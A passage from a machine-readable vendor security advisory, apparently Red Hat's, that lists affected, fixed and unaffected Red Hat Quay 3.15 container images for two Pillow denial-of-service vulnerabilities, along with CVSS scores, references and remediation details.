            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64"
          ]
        }
      ],
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2500061"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Pillow, a Python imaging library. A remote attacker could exploit a vulnerability in the library\u0027s image processing functions, specifically when handling image coordinates near certain limits. This flaw, a native heap out-of-bounds write, could lead to a denial of service (DoS), making the affected system or application unavailable.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "Pillow: Pillow: Denial of Service via out-of-bounds write in image processing",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "The impact is limited to denial of service. While the underlying issue is a heap out-of-bounds write, it does not provide a controlled write primitive exploitable for code execution in affected Red Hat products.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
        ],
        "known_not_affected": [
          "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-59199"
        },
        {
          "category": "external",
          "summary": "RHBZ#2500061",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2500061"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-59199",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59199"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-59199",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59199"
        },
        {
          "category": "external",
          "summary": "https://github.com/python-pillow/Pillow/commit/ceefc348eb3c3844c7f9796ef2cc3a7dd5fbba7b",
          "url": "https://github.com/python-pillow/Pillow/commit/ceefc348eb3c3844c7f9796ef2cc3a7dd5fbba7b"
        },
        {
          "category": "external",
          "summary": "https://github.com/python-pillow/Pillow/pull/9703",
          "url": "https://github.com/python-pillow/Pillow/pull/9703"
        },
        {
          "category": "external",
          "summary": "https://github.com/python-pillow/Pillow/releases/tag/12.3.0",
          "url": "https://github.com/python-pillow/Pillow/releases/tag/12.3.0"
        },
        {
          "category": "external",
          "summary": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-6r8x-57c9-28j4",
          "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-6r8x-57c9-28j4"
        }
      ],
      "release_date": "2026-07-14T15:42:15.071000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-30T20:01:08+00:00",
          "details": "Before applying this update, make sure all previously released errata relevant\nto your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:48933"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
          "product_ids": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "Pillow: Pillow: Denial of Service via out-of-bounds write in image processing"
    },
    {
      "cve": "CVE-2026-59200",
      "cwe": {
        "id": "CWE-409",
        "name": "Improper Handling of Highly Compressed Data (Data Amplification)"
      },
      "discovery_date": "2026-07-14T17:02:45.929986+00:00",
      "flags": [
        {
          "label": "vulnerable_code_not_present",
          "product_ids": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64"
          ]
        }
      ],
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2500060"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Pillow, a Python imaging library. A remote attacker could exploit a vulnerability in the PdfParser.PdfStream.decode() function when processing a crafted FlateDecode PDF stream. By providing a specially designed PDF file, the attacker could cause the application to exhaust available memory, leading to a denial of service (DoS).",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "Pillow: Pillow: Denial of service via crafted PDF stream",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "The impact is limited to denial of service via memory exhaustion. A small crafted PDF input can force unbounded decompression, but this does not lead to code execution or information disclosure.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
        ],
        "known_not_affected": [
          "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-59200"
        },
        {
          "category": "external",
          "summary": "RHBZ#2500060",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2500060"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-59200",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59200"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-59200",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59200"
        },
        {
          "category": "external",
          "summary": "https://github.com/python-pillow/Pillow/commit/f7a31ea75e460e108c37126da1f47812f21f6b09",
          "url": "https://github.com/python-pillow/Pillow/commit/f7a31ea75e460e108c37126da1f47812f21f6b09"
        },
        {
          "category": "external",
          "summary": "https://github.com/python-pillow/Pillow/pull/9718",
          "url": "https://github.com/python-pillow/Pillow/pull/9718"
        },
        {
          "category": "external",
          "summary": "https://github.com/python-pillow/Pillow/releases/tag/12.3.0",
          "url": "https://github.com/python-pillow/Pillow/releases/tag/12.3.0"
        },
        {
          "category": "external",
          "summary": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-jjj6-mw9f-p565",
          "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-jjj6-mw9f-p565"
        }
      ],
      "release_date": "2026-07-14T16:09:05.091000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-30T20:01:08+00:00",
          "details": "Before applying this update, make sure all previously released errata relevant\nto your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
